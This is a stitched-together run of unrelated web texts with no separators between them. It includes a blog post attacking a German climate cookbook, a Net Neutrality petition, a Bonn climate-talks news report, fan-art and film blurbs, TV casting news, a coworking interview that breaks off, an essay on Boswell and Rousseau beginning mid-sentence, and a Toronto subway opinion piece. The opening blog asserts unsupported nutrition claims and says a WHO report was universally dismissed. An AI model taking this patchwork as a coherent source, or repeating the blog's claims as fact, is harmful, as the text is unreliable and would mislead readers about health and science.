Cooking for climate protection. Very simple and very necessary. The atmosphere is heating up from our dietary habits more than it is from automobile or air traffic. The best ingredients for culinary climate protection are: local organic food, less meat and dairy products – and seasonal fruits and vegetables instead of imported finished products. How this can be done in a tasty way is illustrated by the book with its 55 recipes and many vegetarian and vegan variants. There are also lots of information explaining how we impact the climate with our nutrition, and tips on sustainable grocery shopping. Cook and enjoy.”
Let’s be honest here. Some points have merit, like eating more vegetables, and less highly processed foods. However as mentioned above, recent- cleanly executed scientific studies are showing that meats and animal-based fats, like cheese and butter, are necessary for the healthy development of the human body, and have in fact been the cornerstone of the human diet for some 3 million years. The dietary advice now being promoted by the German BMU is a recipe for mal-nutrition and poorer health.
The timing of the WHO organization recently released report claiming processed meats are cancer-causing and putting them in the same category as tobacco and asbestos should not be wonder. The WHO report was immediately slammed and dismissed from all sides. The aim is to get humans to away from meat, and to switch to insects wit the hope of appeasing the climate gods.
Another interesting aspect is that the promotion of nutritional guidelines and dietary fads (this one put together by a gaggle of activists, no less), is not the responsibility of the Ministry of Environment, but rather instead that of the Germany Ministry Of Agriculture and Nutrition. The BMU is way out of bounds here.
Unfortunately, as is the case with United States Department of Agriculture (USDA) the German Ministry Of Agriculture and Nutrition guidelines are outdated by decades as well, and are still promoting the notoriously dangerous high-carb, low-fat diet and continues to villianize foods like butter and eggs.
This is all cult gone amok.The Federal Communications Commission looks poised to explicitly permit violations of Net Neutrality -- but we can still stop them.
Hundreds of thousands of Demand Progress members have spoken out in support of Net Neutrality this year.
We've signed petitions, sent tens of thousands of emails to the Federal Communications Commission, and held meetings between dozens of constituents and their lawmakers.
But we need to keep up the pressure on all fronts if we're going to win.
If you've just made a call to your senators to urge them to tell the FCC to restore Net Neutrality regulations, please add your name at right to let us know that you've done so.
(Your senators' phone numbers are contained in the email we sent that linked you to this page.)
If we keep up the pressure, we can restore Net Neutrality.This story originally appeared on the Guardian and is part of the Climate Desk collaboration.
Deep schisms in the US over climate change are on show at the UN climate talks in Bonn—where two sharply different visions of America’s role in addressing dangerous global warming have been put forward to the world.
Donald Trump’s decision to pull the US out of the Paris climate agreement has created a vacuum into which dozens of state, city and business leaders have leapt, with the aim of convincing other countries at the international summit that the administration is out of kilter with the American people.
The counter-Trump movement in Bonn is being spearheaded by Jerry Brown, the governor of California, and Michael Bloomberg, the billionaire former mayor of New York. Brown, in particular, has assumed the role of a de facto US leader, scheduling more than two dozen events to agitate for renewable energy and emissions cuts to combat what he has called an “existential crisis”.
A US Climate Action Center has been set up for delegates in Bonn, representing the climate change priorities of several thousand US cities, states, tribes and businesses. Corporate giants Mars, Walmart and Citi are expected to push for action on climate change. The center is in lieu of an official US presence—for the first time, the US government won’t have a pavilion at the annual UN climate summit.
At the razzamatazz opening of the alternative US centre on Thursday, California state senator Ricardo Lara told the audience: “Greetings from the official resistance to the Trump administration.” Pausing for cheers and applause, he said: “Let’s relish being rebels. Despite what happens in DC, we’re still here.”
Guests were served free jelly donuts and coffee. “It’s the least we can do after Trump’s announcement that we are leaving,” said one US activist.
At 2,500 square meters, the alternative US dome—which is marked with the hashtag #wearestillin—is the biggest pavilion at the climate talks. Organizers say it is probably the biggest for any US group in the history of climate conference.
“It’s nice that it’s hard to miss. This is big because our movement is big,” said one of the organisers, Lou Leonard of WWF. “Here we show energy, momentum and confidence. It would slow negotiations down if people in the halls were thinking the US is not with them.”
Following recent decisions by Nicaragua and Syria to join the Paris pact, the US stands alone as the only country in the world to oppose the deal.
“The US is now split and world opinion is going with the state and local players, rather than the federal player,” said Jonathan Pershing, who was the US government’s special envoy on climate change until last year.
“The US is at odds with every other country in the world and yet we see it represented by a federal government as well as competing governors, mayors and members of Congress. It reflects an enormous tension in the US political system over climate change.”
The Trump administration has sent a delegation to Bonn, with the US still officially engaged in implementing the Paris deal until it is able to exit in 2020. Thomas Shannon, an experienced state department diplomat who has previously voiced concern about climate change, is leading the US delegation, assisted by Trigg Talley, who was Pershing’s deputy.
The White House has confirmed that the US will promote the “efficient” use of coal, nuclear energy and natural gas as an answer to climate change in a presentation to delegates in Bonn. Trump has vowed to revive America’s ailing coal sector but this message is likely to to provoke outrage on the global stage.
“It will raise hackles,” said Pershing. “It’s not an argument that people will accept internationally.”
Differences may sharpen next week when countries start to discuss financing plans, but so far observers say it has mostly been business as usual.
“We are seeing 196 parties trying to move forward and put the Paris accord into effect. They don’t want to let the US impede that progress,” said David Waskow of the World Resources Institute.
But participants from other nations said the change is already apparent.
“It’s as though the US negotiators have been dipped in aspic,” said one delegate. “They are scared stiff of upsetting the White House. They try to be constructive, but they don’t want that known.”
Another delegate said: “We have lost the leadership the US used to provide. They have the best negotiating team and they are usually put forward strong arguments, but in talks this year, they have been quiet. You can feel they are a little lost. It must be so hard for them now. I sympathise.”
“I think it’s all going to be a little awkward,” said Sue Biniaz, a former state department official who was the lead US lawyer at climate negotiations for two decades. “In the past the US was the leader and brought a lot of ideas to the table. That will be a loss. But other countries, rightly or wrongly, think the US may stay in under some circumstances so I wouldn’t expect too much hostility.”
A coalition of 14 US states, including California and New York, have said they are on track to meet the US target of a 26 to 28 percent reduction in greenhouse gas emissions by 2025, compared to 2005 levels. The goal was set by Barack Obama’s administration as part of the Paris agreement between 195 nations to avoid dangerous global warming of more than 2°C.
Brown has raised his profile in recent months by meeting China’s leadership to discuss clean energy technology and becoming a special adviser for states and regions during the Bonn talks.
On Tuesday, he met EU leaders in Brussels as a prelude to talks on how to link California’s cap and trade emissions system with the similar emissions mechanism used by the 28-state bloc. California has a legislated goal to cut its emissions to 1990 levels by 2020.
“We are truly facing a challenge unprecedented in human history,” Brown said in a speech to the European parliament. “We have to completely transform to a zero-carbon world. We have to do it faster than most people are probably thinking about. 2050 is too late.”
In a nod to the clout of large US states, Brown later included two of them when naming countries that could do more on climate change – “the United States, Texas, California, Russia, India.”
European leaders welcomed Brown’s words.
“The approach of Mr. Trump is not necessarily as helpful as it might be. But we are delighted to have Governor Brown here because it shows there is a strong commitment from the US,” said Antonio Tajani, the president of the European parliament.
However, governors such as Brown or Andrew Cuomo, his New York counterpart, cannot officially take the place of the US president in UN climate talks. Their emissions pledges do not supersede the official US position and, in any case, the 14 committed states only have influence over around half of total US emissions.
Analysts have warned that without national leadership, the US is in danger of missing its emissions reduction goals and will jeopardize international efforts to stave off 2°C of warming, which would lead to elevated sea level rise, intensified droughts, heatwaves and wildfires.
Brian Schatz, a Democratic senator from Hawaii who is attending the Bonn talks, said members of Congress, including Republicans, were concerned over how the withdrawal has hurt America’s standing in the world.
“If you show up at a climate conference to talk about coal, you’re likely to be ignored,” he said. “I think the We Are Still In delegation will get more attention than the executive branch.
“We’ve gone from the indispensable leader to being the only country not engaged in climate change. Many people in Congress are troubled not only from a climate standpoint but a geopolitical standpoint. China is happy to take that leadership from us.”MLP and its characters belong to Hasbro. OC Royal Guards belong to AnzelPony 15 Jan 2015 EQD comic post
If you translate or repost, credit me and link back here. Do not post on DeviantArt!
Commissioned by who wanted a picture for his fanfictionI came up with an idea for a picture that is an extension to a scene from the fanfic. In the scene, Luna accidentally uses the enchanted body wash borrowed by one of her royal guards. The picture features Luna with her dyed mane and coat, and OCs - Silent Knight, Iridescence and Miley (the brown mare who used the body wash - as a creature that does not cast magic, she has no side effects Luna has).Ok, two things. First - the song is a reference to Rihanna's song "Oh, na na". Second -'magic' users are those who cast magic actively. Passive auras like earth ponies or pegasi have do not count. Magic as in casting magic with horns or other body parts if applicable. Levitation, transmutation etc.Thanks to Middy for help with the text on the bottle.Animated adventure sequel, following the adventures of the animals from a New York zoo who have become trapped on the African island and try to make their way home.
Animated adventure sequel, continuing the adventures of the animals from a New York zoo who have become trapped on the African island. While attempting to fly a plane back to New York, the animals crash-land in mainland Africa, where they are amazed to be reunited with more of their own kind and, in some cases, their actual families. Unfortunately, life in Africa is not what it first seems, with Alex soon falling foul of lion etiquette and the humans causing problems for all of the wild animals of the Savannah.
Featuring the voices of Ben Stiller (Alex the Lion), Jada Pinkett (Gloria the Hippo), David Schwimmer (Melman the Giraffe), Chris Rock (Marty the Zebra), Cedric the Entertainer (Maurice the Aye-Aye), Andy Richter (Mort the Lemur), Sacha Baron Cohen (King Julien the Lemur), Bernie Mac (Zuba the Lion), Alec Baldwin (Makunga the Lion), Chris Miller (Kowalski the Penguin) and Tom McGrath (Skipper the Penguin).Earlier today we heard that'Community'guest Rob Corddry would return for the unscheduled season 5 premiere, though it seems the Greendale gang has taken a much fuller measure for the coming year. The pain of our Mike-less'Breaking Bad'will soon come to an end as Jonathan Banks returns to NBC for 'Community' season 5 for a season-long guest arc!
Entertainment Weekly broke the news, drawing surprisingly little attention to the whopping 11 of 13 episodes for which the Emmy-nominated 'Breaking Bad' hitman has enrolled. According to the report, Banks will take the role of Pat Nichols, Annie's "intense" professor of criminology with a mystery-filled background in military and police service.
Should Giancarlo Esposito guest alongside Banks in any episodes this season, we'll lose our minds (and faces). Banks will first appear in the second episode of the season, having guested last year on'Parks and Recreation'as Ben's (Adam Scott) gruff father.
Apart from Corddry's return as Jeff's lawyer-rival Alan Connor, relatively little has been revealed of ‘Community’ season 5, though returning showrunner Dan Harmon revealed at Comic-Con 2013 his intent to draft a second Dungeons & Dragons-themed episode. Chevy Chase will not return for the fifth season, while star Donald Glover will take a reduced five-episode role to develop his own FX series, ‘ Atlanta.’
'Community' season 5 looks better by the day, making its possible 2014 premiere all the more torturous, but what say you? Are you excited to see Jonathan Banks gruff up the Greendale gang next season?Coworking spaces don’t come much more eclectic than this
East London has seen a massive regeneration in the past few years and one of the coolest things is how people are using space that everyone forgot about.
We caught up with Amy at Bathtub2Boardroom who has converted a disused church and old Arctic Monkeys (& Noah the Whale) recording studio in East London into an inspiring space to help young startups grow. Current and former companies include Escape the City, Mopp and Fab Lab London.
What are the tips you’d give to people who are about to move into a new, maybe their first office?
Get involved. Treat it like an awesome networking opportunity. Know what you have to contribute and you’ll find that people are hugely generous in return with their skills and time.
It’s intimidating but power through. Be confident, you’re already doing an amazing thing by making this move to start up or work in a start-up and you’re only going to be surrounded by a bunch of people in the same boat.
“…you’re already doing an amazing thing by making this move to start up or work in a startup and you’re only going to be surrounded by a bunch of people in the same boat.”
Amy, who were the first people to rent a space at Bathtub 2 Boardroom?
The founders of Escape the City were in the pilot Bathtub so it is great to be working with them in partnership to help educate budding entrepreneurs. We have a policy of allowing our members to stay with us for two years before making space for younger startups so we’ve already “hatched” many great businesses into the big wide world, including the online cleaning business Mopp who were acquired by Handy; who had to move on when they grew too big!
We’re still a fledgling start-up ourselves so |
no small part in this relentless pursuit. “I am sure I have genius,” he observed, “but was at a loss for something to say, and, when I set myself seriously to think of writing, that I wanted a subject.” The subject, it soon turned out, was Boswell himself: a subject he would draw and detail over the course of decades in his private journals. To be sure, the larger his collection of thinkers, the greater Boswell’s sense of self-worth. But something deeper was also at play. Boswell was not merely a celebrity seeker, but also a truth seeker.
The two great sources of truth then, reason and religion, were increasingly at loggerheads. Boswell had been raised in the dour Church of Scotland, where the worst of Scottish weather and Scottish Calvinism met to form a perfect storm of fear and trembling. The fear over the eternity of punishment never fully left him. “How it made me shudder,” he told Rousseau. “I imagined that the saints passed the whole of eternity in the state of mind of people recently saved from a conflagration, who congratulate themselves on being in safety while they listen to the mournful shrieks of the damned.”
Yet, these desolate howls were countered by the urbane voices of the philosophes declaring the good news of modernity: the rightness of reason and the pleasures of progress. These men and women did not deny that reason was variously expressed according to place and time, or that progress was a slow and uneven process. But they also believed that beneath the welter of linguistic and geographical differences, a single and unchanging set of values abided, one that reason and reflection would eventually unearth.
Boswell’s problem was his inability to reconcile reason’s truths with his soul’s deepest needs. A rational worldview may well be liberating, but it hardly comforted his existential fears. The enlightened discourses of his age appeared to him, especially when stricken by one of his periodic bouts of melancholy, as worse than useless: “If my mind is a collection of springs, these springs are all unhinged and the Machine is all destroyed; or if my mind is a waxen-table, the wax is melted by the furnace of sorrow, and all my ideas and all my principles are dissolved, are run into one dead Mass. Good God! My friend what horrid chimaeras!” Pursued by the shadows of his Calvinist upbringing, Boswell never escaped his past and lurched uncertainly toward his future.
What to do? How to live? For Boswell, such questions were not rhetorical flourishes; instead, they were urgently real. He undertook, as a result, a pilgrimage of sorts—not to religious relics, though, but to great minds: men who treated these very questions with the gravity and insight that Boswell needed and, two hundred and fifty years later, we may well still need.
Nestled in the Val de Travers—a valley forming a right angle to the Jura Mountains—lay the village of Môtiers. A village of 400 souls, its idyllic setting was somewhat misleading: Many of the villagers no longer farmed, having turned their energies to more profitable enterprises such as lace- and clock-making or the mining of asphalt. Môtiers nevertheless struck visitors as a place perfectly suited for the poet of nature, Rousseau.
Yet, it so happened that Rousseau, the author of the novels Julie, or the New Héloïse and Emile—both paeans to the sublime majesty of the Alps—was less than thrilled by the view. A resident of Môtiers since mid-June 1762, he informed his former protector, the Duc de Luxembourg: “Grand though the spectacle is, it seems rather bare. The mountains slope steeply and show gray crags in many places, and the darkness of firs breaks the gray with a cheerless tone.”
Perhaps Rousseau’s eye had grown jaundiced because the Duke had failed him as a protector: Just weeks before, the philosopher had to flee Paris for his life. The French Parliament had condemned Emile—which, along with Julie and The Social Contract, Rousseau had miraculously written over the course of sixteen months—and ordered it to be burned outside the Palais de Justice. The backlash, engineered by hardliners within the Church, was inevitable: The section of the novel known as “The Profession of Faith of the Savoyard Vicar” denied every dogma they held dear. Not only does the vicar dismiss the doctrines of revelation, miracles, and original sin, and denigrate the role played by priests, he also questions Christ’s very divinity.
For the vicar, nature alone is divine. The mountains and meadows, like the prompting of our conscience, is all the revelation we need. The rest, when it comes to religious faith, is worse than superfluous—it is destructive. Religious doctrines lead not to God, but instead to oppression and war. The vicar thus urges Emile: “View the spectacle of nature; hear the inner voice. Has God not told everything to our eyes, to our conscience, to our judgment? What more will men tell us?”
Any thought Rousseau gave to returning to his native Geneva quickly dissolved with the news that the city’s Calvinist elders, as irate as their Catholic foes in Paris, had also condemned Emile to the flames. (For good measure, they also torched The Social Contract.) Europe’s most influential and celebrated writer had thus succeeded in the redoubtable task of uniting, if only on the subject of Jean-Jacques Rousseau, Catholics and Protestants, monarchic France and republican Geneva.
Indeed, these weren’t the only odd bedfellows Rousseau drove to the same mattress. The Enlightenment felt as menaced as did the Church by Rousseau’s work. In his Discourse on Inequality, Rousseau dismissed the Enlightenment as a new kind of obscurantism, its convictions misguided and its goals catastrophic for humankind. Reason, Rousseau announced, is little more than the tool of desire, pursuing ends that can never be reached. Instead of representing progress, this mad effort to fulfill our desires drives us from nature (now despoiled) and our natural selves (long since repressed). As for civilization, rather than the source of our happiness, it is little more than a hall of mirrors where appearance reigns and misery abounds.
How did we wind up here? Proposing a thought experiment, Rousseau leads us back to an age where we lived alone and in nature. L’homme sauvage knew needs—food, shelter, and sex—but he did not know himself. How could he, if he did not know language or society? Instead, natural man—to use Rousseau’s gendered term—knew only the brute sentiment of his existence, one pinned entirely to the present moment. The past was as unthinkable as the future for this creature. With alarming eloquence, Rousseau described the world of our dim and dumb ancestors: “There was neither education nor progress; the generations multiplied uselessly. And since everyone always started at the same point, the centuries passed by in all the crudeness of the first ages; the species was already old, and man remained ever a child.”
Why alarming? Because Rousseau announces that everything we thought to be true was false. Alarming because we find natural man was happy precisely because he was unaware of himself and others; alarming because this state of ignorant bliss could not last; alarming in its consequences for Rousseau’s enlightened contemporaries.
Lodged in our nearly imperceptible stumble toward society is the fatal moment when we exiled ourselves from paradise. Men began to associate with other men and gathered around trees to dance and sing. At first the dancers and the dance are indistinguishable, but there comes the moment of self-awareness. “Each began to look at the others and to want to be looked at himself, and public esteem had a value. The one who sang or danced the best, the most beautiful, the strongest, the most clever, or the most eloquent became the most highly considered—and this, then, was the first step toward inequality and at the same time toward vice.”
Humankind’s descent from that distant fire to Facebook was merely a question of millennia. The moment we caught sight of ourselves in the reflection of the other’s gaze, we could never again go back to an existence shaped by the fulfillment of needs, not desires, and natural goodness not yet corrupted by society. Unable to think of others without thinking of ourselves, or our own selves only through the eyes of others, we are forever a work in progress. Our passion to perfect ourselves runs roughshod over our reason, bending it toward its own ends—ends that, by their very nature, are endless. Thus, Rousseau laments, the “human race, debased and dispirited … brought itself to the brink of its ruin.”
Where better to escape such ruins than Môtiers? Forgotten in these craggy expanses, Rousseau could return to the bliss of that earlier world. Hélas, the world would not leave Rousseau in peace. For that matter, neither could Rousseau leave the world alone. He could not stop writing that he should never have become a writer, could not stop pulling others to him to say he wished to be left alone, could not stop declaring his indifference to a public he had so skillfully created in his own image, or tell these legions of admirers that he was the most misunderstood of men.
Indeed, ever since Rousseau’s arrival in Môtiers, an insistent stream of visitors wound its way to the ramshackle wood house where he and his companion Thérèse Le Vasseur rented the upper floor. Many came simply to gaze upon the author of these works—readers, Rousseau muttered, who had not read his books and had too much free time on their hands. Or there were cases like the Baron de Sauttern, a dashing Hungarian officer who struck up a quick friendship with the usually reticent philosopher. The two men shared many walks and conversations—that is, until the baron bolted town after having impregnated a local girl. Only then was it discovered, much to Rousseau’s chagrin, that Sauttern was neither an officer nor a gentleman, but instead was simply Jean-Ignace Sauttermeister von Sauttersheim, a government clerk who had fled Prague just steps ahead of a pack of creditors.
But Sauttersheim’s disguise hardly shocked the good folk of Môtiers, by then accustomed to the sight of Rousseau walking through town garbed in a lilac-colored, fur-edged robe and matching hat. The exotic costume had prosaic origins: suffering from a urinary-tract problem, Rousseau found the robe, dubbed as an Armenian caftan, easier to negotiate than breeches during his forays to the chamber pot. At the same time, he began weaving silk lace, which he offered to local brides in exchange for the promise that they would breast-feed their infants. (Given the frightening mortality rate of infants farmed out to wet nurses, Rousseau’s gesture was odd, but also deeply humane.) Exhilarated by his new self-image, Rousseau exclaimed to one of his many female correspondents: “I have thought as a man; I have written as a man and I have been called bad. Well, now I shall be a woman.”
Gender and garb notwithstanding, Rousseauremained Jean-Jacques, the author of Julie and Emile, for his enamored readers. In the weeks leading to his assault on the reluctant recluse, Boswell had plunged into Rousseau’s great epistolary novel. While crossing the German archipelago of independent states and kingdoms, the Scottish traveler spent his evenings reading Julie and its tragic tale of undying love unfolding against mountains as massive as the class differences that separated Julie and Saint-Preux. The language galvanized the melancholic youth: “Rousseau gives me an enthusiasm of feeling which I thought was all over with poor melancholy Boswell. Thus agitated my heart expands itself & feels the want of an object to love.”
But Boswell, no doubt inspired by Saint-Preux’s self-denial, was in no hurry to find such an object. His thoughts wandering along sensual and illicit paths one night in Saxony, he recalled the goal of his travels: “I swore solemnly neither to talk as an infidel nor to enjoy a woman before seeing Rousseau.”
Boswell’s reading of Emile, in particular the profession of faith, helped as well. As with Julie, the effect was immediate: “I was struck with its clearness, its Simplicity and its Piety.” Indeed, that clearness revealed that Christians had need of neither the Church’s teachings nor Enlightenment’s teachers; that they needed only their inner sentiment, which they could hear if they only learned to listen (preferably in nature); that one’s conscience, unlike the words of others, never deceives; and that it speaks not in religious dogma or philosophical treatises, but through nature. Of course, that same clearness also made Rousseau persona non grata in Paris and Geneva, as well as a magnet for those disenchanted equally with the institutions of religion and reason.
Understandably, Boswell’s anxiety was great. Finding his room too small, he threw on his overcoat—its green fabric setting off his scarlet-and-gold-laced coat and hat—and flung himself toward the forest. The pensive youth found himself “surrounded by immense mountains, some covered with frowning rocks, others with clustering pines, and others with glittering snow.” Inevitably, not only were Boswell’s eyes colored by Rousseau’s sensibility, but his mind was also filled with the philosopher: “I recalled all my former ideas of J.J. Rousseau, the admiration with which he is regarded over all Europe, his Héloïse, his Emile: in short a crowd of great thoughts.”
Buoyed by these thoughts, Boswell returned to the inn to find a reply from Rousseau: He would be glad to receive the visitor, but given his poor state of health, the visit had to be short. Shuddering at the word “short,” Boswell again barreled out of the inn and straight to Rousseau’s lodging. Out of breath, he was met at the door by le Vasseur, who led him up a winding and dark staircase to the kitchen; moments later, Rousseau stepped into the room from the facing door, his caftan trailing along the wooden planks, as if he had just woken from an afternoon nap. (Indeed, Boswell thought the hat was a nightcap.) Rousseau invited his guest to promenade in the kitchen, and thus began the first of five improbable visits Boswell made over the next several days.
Boswell had once observed of himself: “I have the art to be easy and chatty.” His art certainly worked wonders with Rousseau: Within minutes, the voluble Scot was punctuating his conversation by grasping the hand and grabbing the shoulder of his surprised, but curious, host. Rousseau repeatedly insisted the visits be short, but for naught: Resolute and relentless, Boswell pursued questions great and small, philosophical and personal. From the quackery of doctors (“I have given up doctors”) to the greatness of Samuel Johnson (“I should like to see him, but from a distance, for fear he might maul me”), to the evils of society (“I live here in a world of fantasies, and I cannot accept the world as it is”) and the uselessness of history (“It’s a mere amusement”), Rousseau replied to Boswell’s increasingly frantic volleys of queries. Though fatigued by Boswell, Rousseau was also intrigued: He invited the Scot to stay for dinner during the last visit. Over a simple, well-prepared meal of beef, turnips, and white wine, Rousseau practiced the egalitarianism he preached in his works. When Boswell asked if he could have a second serving of a dish, his host replied: “Is your arm long enough?”
But behind the scattershot of questions lay, for Boswell, a single target: how to secure his faith in the age of reason. Convinced Rousseau alone could set his soul at ease, Boswell invariably bent the conversations in that direction. At a pivotal moment, as Rousseau recounted his youthful coming and going between Catholicism and Calvinism, Boswell interrupted him: “But tell me sincerely, are you a Christian?” Clearly, Boswell’s doubts had been raised by the swirl of controversy over Rousseau’s writings. Taken aback, his host stared at him, struck his fist against his chest, and declared: “Yes. I pique myself upon being one.” The Gospels, he continued, were a source of great comfort. Yet, just as the Savoyard vicar affirmed nothing less—and nothing more—so, too, with Rousseau: Faith has nothing to do with the mummeries of priests and philosophes. But, demanded Boswell anxiously, what about the expiation of my sins? His dark eyes fixing his febrile guest, Rousseau was matter-of-fact: “Do good. You will cancel all the debt of evil.”
Transfixed by Rousseau’s words, Boswell blurted the question he no doubt meant to ask from the beginning: “Will you, Sir, assume direction of me?” Boswell of course meant spiritual direction, and a surprised Rousseau begged off: He was too ill for such a task. Besides, he added, “I can be responsible only for myself.” In effect, this was the same answer Rousseau had given Boswell at the dinner table. When he asked if he could take a second serving, the canny host replied: You’re on your own.
After dinner, as Boswell prepared to leave the house and make his way to the nearby town of Yverdon, he sought reassurance from Rousseau that their meeting would endure. Pulling a hair from his head, he asked: “Can I feel sure that I am held to you by a thread, even if of the finest? By a hair?” Did Rousseau smile? Or stare hard? All we know, according to Boswell, is his reply: “Yes. Remember always that there are points at which our souls are bound.” Overwhelmed, Boswell bellowed “Bravo!” and declared: “I shall live to the end of my days.” To which Rousseau responded: “That is undoubtedly a thing one must do.”
Once back in London, during a conversationwith Johnson, Boswell mentioned Rousseau’s name. His older friend erupted in anger and dismissed the writer of the Discourse as “a very bad man.” Though Boswell dared not defend Rousseau to the glowering Johnson, the outburst rankled him: While he had little patience with Rousseau’s critique of society, Boswell believed his faith was authentic. Recreating this moment many years later in The Life of Johnson, Boswell recalled his own response to the “Profession of Faith”: “I cannot help admiring it as the performance of a man full of sincere reverential submission to Divine Mystery, though beset with perplexing doubts.”
In the end, perplexing doubt was the life Boswell not only brought with him to Môtiers, but also left with. The impress left by Rousseau’s words faded as quickly as did the sight of the Alps as Boswell wound his way through Italy. Once there, when not treating himself to visits to the ancient sites, he was treating himself with mercury after his many nocturnal visits to less reputable attractions. “Dissipation and profligacy … renew the mind”—these lines, as plentiful in his Italian journal as truffles after a rainy day in Lombardy, persist to the end of Boswell’s journal and his life. No less persistent were his doubts over the value and ends of his life: “Futurity is dark,” he confessed to his journal many years later.
In the end, Boswell did live to the end of his life. We all do, of course. Did he manage, though, to live his life as the wild philosopher saw fit? No more so than the rest of us do, no doubt. Who among us has not been hounded by the “black fiend” of melancholy, harassed by a sense of professional failure or harried by persistent thoughts of death? Or, for that matter, not insistent on the need for enduring meaning or illumed by moments of beauty in the world and with friends? In the end, Boswell differs from most of us only insofar as he was so honest in these fears, so keen on connecting with others and so skilled at describing it all. Perhaps this is why he commands our attention: Though 250 years old, Boswell is our gifted contemporary. In his brilliant self-portrait, we see, for better and worse, our own selves. And we read him because, like him, we must live our lives to the end of our days.politics Metrolinx Spins the Scarborough Subway
Glen Murray's case for a two-stop subway is based on a drastic misrepresentation of the available information, and Metrolinx is helping him make it.
Metrolinx board meetings are inevitably sleepy events, with lots of good news and almost no controversy. Directors ask soft questions, almost embarrassed that they might put management to some trouble. Almost always, the answers confirm that life is good, the passengers are happy, and everyone can be confident that the GTA’s transit matters are in expert, dependable hands.
The board meeting held Tuesday was a bit different: it was filled with throngs of reporters, there seeking Metrolinx’s response to transportation minister Glen Murray’s two-stop Scarborough subway announcement. (If you missed it: last week Murray proclaimed that even though the province has a signed agreement with the City of Toronto to replace the aging Scarborough RT with light rail running along the same route, which would be extended further north and east, and even though city council rejected that plan in July— deciding that it wanted to run not light rail but subways and run them not along the existing RT corridor but up McCowan—in fact Ontario would build neither of those things. Instead, said Murray, Queen’s Park would bankroll a two-stop subway to Scarborough Town Centre—following the RT route, but not extending it any further—at a cost of $1.48 billion.)
Was this on Metrolinx’s agenda? No. Metrolinx doesn’t do controversy, especially when the minister’s involved.
That attempt at deflection notwithstanding, at the end of the meeting Metrolinx chair Rob Prichard did address the issue, attempting to summarize what he claimed were the opinions of the other members of the board. That summary: Metrolinx has consistently supported the idea that new rapid transit should be built in the existing the SRT corridor, and all plans (conveniently ignoring city council’s vote) have incorporated that idea regardless of the subway vs. LRT question. Glen Murray’s plan sticks to that route, and so everything is just dandy.
Nobody, however, is buying it.
Glen Murray’s plan is only a couple of months old: in July, after council’s vote, he asked Metrolinx to look at the feasibility of going along with the municipal government’s desire to build a subway, but choosing a different route for it. If you’re wondering why we hadn’t been talking about building a subway along the current RT route all along, the answer is that the curves along that route are very tight—tighter than the TTC thinks a subway can actually handle. LRT can handle tighter turns and so is free of this issue.
But what if we move things just a bit, Murray’s idea went, to give subways a bit more room in which to turn? (At the meeting Prichard spoke about this suggestion as if it were a revelation, a totally new idea that nobody had ever had before. One could almost see the thousand-watt lightbulb glowing in the air as he waxed on.)
In response, Metrolinx conducted a preliminary feasibility study [PDF], which confirmed that some approximation of the RT route would be able to accommodate a subway. Prichard claimed not only that this subway could be constructed, but also that it would provide better opportunity for growth and improved service to priority neighbourhoods, at a lower cost, than council’s choice of a subway along McCowan.
But then a chance remark by Metrolinx CEO Bruce McCuaig told the real story: he noted that it was the future extension of Murray’s subway beyond its current two-stop plan that would better serve priority neighbourhoods and support growth.
Extension? What extension? The minister never mentioned an extension.
What neither Glen Murray’s statement nor the Metrolinx briefing bothered to mention is that the feasibility study that examines the potential for building a Scarborough subway imagines that subway extending all the way to Sheppard, just as the LRT would have. That subway would serve both Centennial College and a number of priority neighbourhoods.
But that is not the subway Glen Murray announced. Glen Murray announced only a portion of that route. And he attributed the benefits of the whole route—the one that theoretically could extend to Sheppard—to just the portion he was announcing. Suggestions that the feasibility study supports any service other than light rail are at best artful misdirection, because the study looked specifically at a subway line from Kennedy to Sheppard and nothing else. (Murray cited a ridership estimate for his foreshortened subway, for instance—14,000 passengers per hour—but that estimate depends on a through ride for trips all the way to Sheppard, which that foreshortened subway will not reach.)
It’s also not clear that this extension, if it were ever to be built, would even be a subway. When pressed on the issue, Prichard described it vaguely as a “rapid transit corridor,” implying that they could build Murray’s two-stop subway to Scarborough Town Centre and then build LRT from there.
This makes the much-vaunted subway-ness of Glen Murray’s subway somewhat less compelling.
The Metrolinx board will do “due diligence” and further investigate Murray’s proposal, says Prichard; staff will present more details in a larger report expected later in the fall. That timing will be a challenge, considering that Prichard also claims that TTC staff will present its own report on the issue to city council in October, well before the Metrolinx report is ready. These reports, and the differences between them, matter: according to Prichard, any changes to the existing municipal-provincial agreement (the one that right now calls for LRT) must be approved both by the City and by Metrolinx. When new votes might take place, and on the basis of whose information, is not at all clear. (Prichard managed to tie himself in many knots trying to answer persistent questions from the media, a far more aggressive group than his docile board members. A Cirque du Soleil tryout may be in his future.)
Prichard also confirmed that since the request to change to from LRT to subway technology was the City’s, any sunk costs for the LRT must be paid by the City. And if the subway project goes over budget, as a City-led and City-owned project, these costs will fall to Toronto too. These and other details appear in Prichard’s letter to TTC Chair Karen Stintz [PDF].
The heart of the matter—and indeed of any transit plan—is always money. From the preliminary feasibility study we learned that building a full subway (Murray’s two stops plus the extension to Sheppard) would cost $2.4 billion in 2011 dollars, or roughly the same as the City’s McCowan proposal. Of those two subway options, it’s Murray’s RT route that would have more stations and serve more people, and it certainly looks a lot more like the kind of subway folks in Scarborough might really want to see. But Murray’s subway—the full-length version that provides all the benefits he promised—also costs a billion dollars more than the LRT option along that same route.
Indeed, it will cost a lot more than that, even. Specifically excluded from the feasibility study’s estimates are the costs of interim bus service and associated infrastructure during the construction period, rolling stock, a maintenance and storage facility, traction power substations, and HST. These costs are included in estimates for the original LRT plan, and for city council’s proposed subway via McCowan, thus skewing any comparisons of Murray’s plan to the alternatives.
Important: these cost estimates are missing from Murray’s shorter subway proposal, too. Once you account for the above items, his two-stop subway will cost a fair bit more than $1.48 billion. It is impossible to build it for the amount he has claimed.
Put another way: the pot of money Metrolinx has set aside for Scarborough transit covers only the LRT option—it is not enough for either city council’s or Glen Murray’s subway routes.
One could be charitable and say that the minutiae of background studies don’t trouble the minister, but in an era of provincial spending scandals, that just doesn’t wash. Murray announced a subway to Scarborough at a price he cannot actually deliver. Either he was appallingly briefed, or he chose to omit that vital fact.
As we noted when Murray unveiled his scheme, an announcement that could have presented a vision for Scarborough transit turned into a political rant against other levels of government. That’s bad enough. Basing that announcement on a misrepresented study is unforgivable.
The debate over transit options in Toronto and the region beyond is difficult enough without political meddling. Not long after he became transportation minister, Murray mused about Metrolinx’s overall plan and suggested that lines on its map were merely “placeholders.” Crayons at the ready, he has been drawing his own versions ever since—versions that resemble the fantasy maps so beloved of transit advocates. Anyone is free to draw such maps, but imposing them by fiat, by a ministerial announcement from the roof of a Scarborough parking garage, mocks the very process Metrolinx was created to avoid.
